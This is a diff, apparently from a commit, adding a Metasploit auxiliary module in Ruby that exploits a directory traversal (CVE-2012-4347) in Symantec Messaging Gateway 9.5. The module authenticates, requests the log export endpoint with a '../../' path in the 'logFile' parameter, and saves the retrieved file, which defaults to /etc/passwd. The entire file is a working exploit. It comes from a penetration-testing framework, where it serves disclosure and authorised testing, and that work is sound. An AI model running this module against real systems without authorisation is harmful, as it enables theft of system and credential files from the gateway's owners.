1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Auxiliary ::Scanner
13
+ include Msf ::Auxiliary ::Report
14
+ include Msf ::Exploit ::Remote ::HttpClient
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability' ,
19
+ 'Description' => %q{
20
+ This module will download a file of your choice against Symantec Messaging
21
+ Gateway. This is possible by exploiting a directory traversal vulnerability
22
+ when handling the 'logFile' parameter, which will load an arbitrary file as
23
+ an attachment. Note that authentication is required in order to successfully
24
+ download your file.
25
+ } ,
26
+ 'References' =>
27
+ [
28
+ [ 'CVE' , '2012-4347' ] ,
29
+ [ 'EDB' , '23110' ] ,
30
+ [ 'OSVDB' , '88165' ] ,
31
+ [ 'BID' , '56789' ] ,
32
+ [ 'URL' , 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00' ]
33
+ ] ,
34
+ 'Author' =>
35
+ [
36
+ 'Ben Williams <ben.williams[at]ngssecure.com>' ,
37
+ 'sinn3r'
38
+ ] ,
39
+ 'License' => MSF_LICENSE ,
40
+ 'DisclosureDate' => "Nov 30 2012"
41
+ ) )
42
+
43
+ register_options (
44
+ [
45
+ Opt ::RPORT ( 41080 ) ,
46
+ OptString . new ( 'FILENAME' , [ true , 'The file to download' , '/etc/passwd' ] ) ,
47
+ OptString . new ( 'USERNAME' , [ true , 'The username to login as' ] ) ,
48
+ OptString . new ( 'PASSWORD' , [ true , 'The password to login with' ] )
49
+ ] , self . class )
50
+
51
+ deregister_options ( 'RHOST' )
52
+ end
53
+
54
+
55
+ def peer
56
+ "#{ rhost } :#{ rport } "
57
+ end
58
+
59
+
60
+ def auth ( username , password , sid , last_login )
61
+ res = send_request_cgi ( {
62
+ 'method' => 'POST' ,
63
+ 'uri' => '/brightmail/login.do' ,
64
+ 'headers' => {
65
+ 'Referer' => "http://#{ peer } /brightmail/viewLogin.do"
66
+ } ,
67
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } " ,
68
+ 'vars_post' => {
69
+ 'lastlogin' => last_login ,
70
+ 'userLocale' => '' ,
71
+ 'lang' => 'en_US' ,
72
+ 'username' => username ,
73
+ 'password' => password ,
74
+ 'loginBtn' => 'Login'
75
+ }
76
+ } )
77
+
78
+ if res and res . headers [ 'Location' ]
79
+ new_uri = res . headers [ 'Location' ] . scan ( /^http:\/ \/ [\d \. ]+:\d +(\/ .+)/ ) . flatten [ 0 ]
80
+ res = send_request_cgi ( {
81
+ 'uri' => new_uri ,
82
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } "
83
+ } )
84
+
85
+ return true if res and res . body =~ /Logged in as: #{ username } /
86
+ end
87
+
88
+ return false
89
+ end
90
+
91
+
92
+ def get_login_data
93
+ sid = '' #From cookie
94
+ last_login = '' #A hidden field in the login page
95
+
96
+ res = send_request_raw ( { 'uri' => '/brightmail/viewLogin.do' } )
97
+ if res and res . headers [ 'Set-Cookie' ]
98
+ sid = res . headers [ 'Set-Cookie' ] . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ] || ''
99
+ end
100
+
101
+ if res
102
+ last_login = res . body . scan ( /<input type="hidden" name="lastlogin" value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
103
+ end
104
+
105
+ return sid , last_login
106
+ end
107
+
108
+
109
+ def download_file ( sid , fname )
110
+ res = send_request_cgi ( {
111
+ 'uri' => '/brightmail/export' ,
112
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } " ,
113
+ 'vars_get' => {
114
+ 'type' => 'logs' ,
115
+ 'logFile' => "../../#{ fname } " ,
116
+ 'logType' => '1' ,
117
+ 'browserType' => '1'
118
+ }
119
+ } )
120
+
121
+ if res and res . body . empty?
122
+ print_error ( "#{ peer } - File not found or empty." )
123
+ return
124
+ end
125
+
126
+ vprint_line ( "" )
127
+ vprint_line ( res . body )
128
+
129
+ f = ::File . basename ( fname )
130
+ p = store_loot ( 'symantec.brightmail.file' , 'application/octet-stream' , rhost , res . body , f )
131
+ print_good ( "#{ peer } - File saved as: '#{ p } '" )
132
+ end
133
+
134
+
135
+ def run_host ( ip )
136
+ sid , last_login = get_login_data
137
+ if sid . empty? or last_login . empty?
138
+ print_error ( "#{ peer } - Missing required login data. Cannot continue." )
139
+ return
140
+ end
141
+
142
+ username = datastore [ 'USERNAME' ]
143
+ password = datastore [ 'PASSWORD' ]
144
+ if not auth ( username , password , sid , last_login )
145
+ print_error ( "#{ peer } - Unable to login. Cannot continue." )
146
+ return
147
+ else
148
+ print_good ( "#{ peer } - Logged in as '#{ username } :#{ password } '" )
149
+ end
150
+
151
+ fname = datastore [ 'FILENAME' ]
152
+ download_file ( sid , fname )
153
+ end
154
+
155
+ end
0 commit comments